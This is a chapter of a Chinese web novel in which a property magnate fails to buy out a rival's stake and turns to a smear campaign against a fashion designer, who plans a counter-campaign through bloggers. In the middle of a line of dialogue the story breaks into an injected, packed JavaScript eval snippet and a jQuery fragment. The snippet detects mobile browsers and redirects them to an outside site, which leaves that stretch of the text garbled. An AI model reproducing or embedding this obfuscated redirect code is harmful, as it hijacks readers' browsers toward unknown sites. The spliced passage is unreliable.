X小姐从来不以真面目示人。
即使遇上方为文这样的南州阔佬，也只是隔着个双面绣的屏风，用一道模糊的影子跟他聊天。
她的声音很好听，如清泉，带着上位者独有的自信，掷地有声。
“方先生，时间不早，我也就不绕圈子了。你今天拍下的那张唐卡，可否割爱？”
隔着屏风，方为文与她相对而坐，手指轻轻拨动茶杯杯沿。里面一根细小的茶叶，不知是从公道杯的哪个网眼中漏出来的，此时正竖着立在杯子中央。
“那可得好好商量，毕竟都是生意人，X小姐总不会让我做赔本买卖吧？”
“你需要多少才肯卖？”
“我要的不是钱。”
话音一落，包厢内陷入了沉默。
方为文斜眼注视着屏风，可除了一道影子，他什么也看不到的。唯一可以帮他判断X小姐想法的，只有说话的语气和停顿。
他想，X小姐大概是在思考，也有可能是想避免主动提问，怕显得心急，落了下风。
方为文起筷，夹起面前一只晶莹剔透的虾饺，缓缓咬了一口。那虾过于爽口，感觉像是冰鲜。
也是，谁会半夜三更吃虾饺？
X小姐笑了：“除了钱，我并不觉得我有什么能遭你惦记的。”
方为文放下未吃完的半块虾饺，擦了擦嘴上的油渍：“在你最近看中的项目中，恰巧有我喜欢的。”
“我的项目里，似乎没有一个是跟房地产有关的吧。”
“不，不是房地产。我早就想转战别的行业了。”
“方先生看中的行业已经是一定有前景的，AI？高端养老？旅游定制？”
“都不是，只是一个未成气候的服装品牌。”
提到服装品牌，方为文猜想，对方应该能明白自己的意思了，说：“我用那张唐卡来换你退出，应该会是笔不错的交易吧。”
“你这么一说，倒是勾起了我的好奇心。”
X小姐的身影微微靠向一旁，以手托脸，手上似乎正把玩着什么。
她说：“我没听错的话，你大费周章地用五千六百万来换一个……暂且说是潜力股吧，不觉得有点……有点过于破费？”
“当然，我这个乡巴佬过来拍卖会见识一下世面，多交个朋友也是目的之一。”
“哦……是吗？”
X小姐的语气中透露出丝丝不信任，叫方为文心中一惊。
一种不祥的预感袭上心头，难道，他的计划出错了？
正思索间，对面响起椅子轻轻摩擦地毯的声音。X小姐站起身来，往外面走去。
在走出屏风的瞬间，方为文看到了她的身姿。
一把雕花檀木折扇遮住了她大半张脸，只能从扇沿窥见她凌厉的眼神和眼角处的一颗痣。
她在折扇后面轻笑：“那我更加不可能让给你了。”
方为文双眉一皱，只静静地注视着她的双眼，没有说话。
X小姐眯起双眼：“我倒想看看这品牌什么时候能挣到五千六百万。真叫人拭目以待，我都不由自主地兴奋起来了。”
方为文：“你就不要那张唐卡了？”
“你知道这个行业最吸引人的地方是什么吗？锦上添花虽美，可把种子从雪地里捞起，一点一点地培养，发育，生长，开出鲜花的瞬间，”X小姐轻启红唇，“啪！那才是最让人着迷的地方。”
“你不需要那张唐卡了？”
“方先生，你可能有所不知，你所拍下的那张唐卡不过是学徒依样画葫芦的习作，虽有价值，但不过是我的替补方案，割爱与你又何妨？就当是你给了重要情报的赠礼吧。”
说完，X小姐轻摇木扇，依旧遮挡着大半张脸，头也不回地走了。
方为文依旧坐在红木椅上，茶杯里，那根原本立着的茶叶不知何时倒了。
他看着碗里被咬掉了尾巴的半只虾仁，发泄般一掌拍上桌子。茶水洒了，不够新鲜的虾仁从水晶皮里掉了出来。
方为文的算盘算是打错了，平白损失了五千多万。
来之前不觉得这数目很大，现在每每看到那张鬼画符，只觉得分外肉疼。
夏立轩等在门外，见X小姐没聊多久就走了，不由得好奇地看向方为文。只见他坐在原地一动不动，还拍了桌子一掌，心生不妙。
他还没弄明白是哪里出了差错，便听到方为文的声音：“马上给我备车，我要回去！”
一路上，夏立轩胆战心惊。
方为文什么都不说，只默默坐在后座上闭起了双眼。
路上又下起了雨，纷纷扬扬的雨丝在橙黄色的路灯底下飘过，像金子一样洒在车窗上。
良久，方为文终于出声：“有没有可能打听到X小姐给甘宁出的价钱？”
这是十分私密的资料，若X小姐是南州人，这倒是好说，可她偏偏是港岛的，他们的手还没有能伸出境外的本事。
这一点，方为文其实心知肚明，转而道：“公司那群人对宁莨云裳的估值是多少？”
这道题，夏立轩会答：“超千万。”
方为文：“为什么还有这么高？那群水军没办事吗？”
“宁莨云裳只是遇上台风，并没有犯实质性的错误。刚开始还能炒个热闹，时间一长……而且，这件事涉及到香云纱整个行业，丝织品协会的杜会长大概也暗中想了办法……”
“那假如她们犯了实质性的错误呢？”
“……你的意思是……”夏立轩一边开着车，一边逼迫着自己的脑子动快点。
“顾……那顾什么……就是乔姐那个儿子。”
“顾一天？”
“对，不知道第几天，他不是跑到宁莨云裳那里了吗？让他打听打听，AB账，以次充好，丑闻，随便一条，给我按上去。”
“这……他只是个晒莨工人，怕是弄不到什么有用的消息……”
“不，等等！”方为文突然猛地笑出声，吓得夏立轩差点在高速上猛踩急刹。
“我怎么忘了呢？我们手上不就有现成的丑闻吗？甘家的那些破事，也是时候再拿出来遛一遛了，尤其是甘宁这个罪犯的女儿。”
# 惊！怪物时装设计师甘宁竟是罪犯二代
# 家族联姻内幕方家富三代缘何情定经济犯
# 一个赘婿土豪家族四代人的浩劫
# 甘宁的命有多硬克死三代男人学紫微斗数带你一探究竟
# 抵制凤舞黄沙剧组决不让罪犯之子挣到一分钱
“我@#%&@%，这都什么东西？！”
卜思凡气得差点把IPad摔了。
小院里，所有人都担忧地看向甘宁，甘宁倒是拿着个手机，看得津津有味。
隋小姚坐在她身边：“宁，你要是觉得难受，记得说出来啊。”
“啊……啊？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840137|169887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我为什么要难受？”甘宁从沙发上微微起身，从茶几的零食袋里拉出一块牛肉干，笑道，“我区区凡夫俗子，竟然一下子来了这么多流量，这可是泼的富贵，赶紧接一接。”
没了卜思凡，叶雅苓自己一个人赖在沙发旁继续通关。
她似乎是压抑天性太久，猛然迎来漫长假期，正在玩命地报复性娱乐。她一边盯着电视机屏幕，一边问她：“你打算怎么接？坐在沙发上举起双手接？”
这时，甘宁的电话响了，是远在西北的薇薇安：“嘿，你那边没事吧，剧组这边都炸锅了。从来只听说过为了污点艺人抵制剧组的，还真没听说过为了服装师闹抵制的。”
甘宁：“怎么？他们是不是想换人？”
“怎么会？他们什么奇葩事没见过？全都知道你得罪人了，被整了。林清尘导演还托我问你，需不需要帮忙。”
“嗯……我还真有件事需要他们帮忙。”
“什么忙？需要他们下场辟谣吗？”
“不不不，千万别……我想看看他们有没有什么八卦博主，分批帮我把全部事情还原了。”
“全部事情？”
“对，从我外太公白手起家开始的所有事。事实上，嘉宝和就酱他们也可以做。但因为之前的委托运营，有心人很容易顺藤摸瓜找到我们的关系，我担心会起反效果。所以，最好是找一些没有关联的博主，有一波没一波地推。”
这些弯弯绕绕似乎超出了直肠子薇薇安的认知范围，她听完之后并没有吭声。
听筒里，反而传来了林清尘的声音：“这倒是好办，我们宣发在行，只是资料和素材从哪里找？”
原来，这个光头绅士一直都在旁边啊。
甘宁轻声笑道：“以前报纸、媒体上应该是有的，如果有什么需要补充的话，可以随时找我。”
林清尘：“有没有个大纲，我怕他们跑偏了。”
“嗯……”甘宁认真一想，说，“从经营改革开始，我外太公带着我外公和叔公下海经商，前后经历了从丝绸、香云纱到房地产行业的转变，转折发生在我母亲相亲，甘家入赘，生下了我，没多久就掀起方甘两家的纷争。后来，我外公因交通事故，客死异乡，再然后……”
在她身边，所有人都知道她要讲到哪一段。
隔着长沙发的靠背，卜思凡俯身，从背后环住她的肩膀。
甘宁垂下眼眸，将手掌心贴在卜思凡的手背上。
她用极其轻柔的语气，缓缓说着往事，就像在讲别人的故事一样。
“然后，有人绑架了我，我外太公为了救我，终身瘫痪，很多时候神志不清。再后来，甘家事情败露，锒铛入狱，畏罪自杀。方为文……担起了管理全公司的职责。而我，逐梦时尚圈，成为了服装设计师，回国后重做香云纱……”
显然没有料到是这样的展开，林清尘沉默了。
他觉得自己大抵要说些安慰的话，结果对面并不需要，突然“啊”了一声，说：“对了，结尾记得加上我们宁莨云裳的品牌理念，嘿嘿，不要了浪费宣传的机会。”
林清尘：“……”
挂断电话，沈晴山问她：“这样就够了？你说的又不是全部，观众听着不会觉得有很多漏洞？比如，这么大的集团，怎么连重要的重孙都能被绑走？要不要把查清楚的事情也加进去？”
这个问题，郭嘉宝替她回答：“不，我们就是要漏洞百出的。”